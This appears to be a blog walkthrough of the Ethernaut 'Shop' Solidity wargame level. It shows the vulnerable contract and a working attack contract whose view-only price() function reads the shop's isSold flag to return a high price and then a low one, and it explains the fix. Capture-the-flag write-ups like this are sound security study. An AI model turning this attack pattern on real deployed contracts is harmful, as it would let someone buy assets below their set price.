# Ethernaut 18: Shop

By [0xbanky](https://paragraph.com/@banky) · 2022-09-09

---

This challenge deals with changing state on a contract based on the returned value from calling another contract.

Investigation
=============

We’ve been asked to get the item in the contract sold for a price that is less than the one that is required. The contract looks like this

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.6.0;
    
    interface Buyer {
      function price() external view returns (uint);
    }
    
    contract Shop {
      uint public price = 100;
      bool public isSold;
    
      function buy() public {
        Buyer _buyer = Buyer(msg.sender);
    
        if (_buyer.price() >= price && !isSold) {
          isSold = true;
          price = _buyer.price();
        }
      }
    }
    

We need to call the `Shop` contract from a contract that implements the `Buyer` interface. The second thing to note is that the call to `price` in the `Buyer` contract will need to change to a value that is less than 100 the second time it is called.

Since the `price` function needs to have a `view` modifier, it cannot update state. Therefore, the `Buyer` contract cannot simply keep track of how many times `price` has been called internally.

Solution
========

The key to solving this challenge is that the `Buyer` function can read the state of `Shop`. In the `Shop` contract, the `isSold` variable is updated to `true` before the price is set and `_buyer.price()` is called again. This issue could be resolved by ensuring `_buyer.price()` is called only once and storing the returned value locally. However, for us this is an attack vector.

My attack contract looks like this

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;
    
    contract Buyer {
      Shop shop;
    
      constructor(address _shopAddress) {
          shop = Shop(_shopAddress);
      }
    
      function price() external view returns (uint) {
          if (!shop.isSold()) {
              return 120;
          } else {
              return 10;
          }
      }
    
      function attack() public {
          shop.buy();
      }
    }
    
    interface Shop {
      function buy() external;
      function isSold() view external returns (bool);
    }
    

Here, I simply check the value of `isSold` on the `Shop` contract and change the value that is returned from `price` if it is. The key takeaway here is that `view` functions may not modify state themselves, but they can change their behaviour based on external state modifications.

What I learned
==============

1.  It's unsafe to change the state based on external and untrusted contracts logic.

---

*Originally published on [0xbanky](https://paragraph.com/@banky/ethernaut-18-shop)*
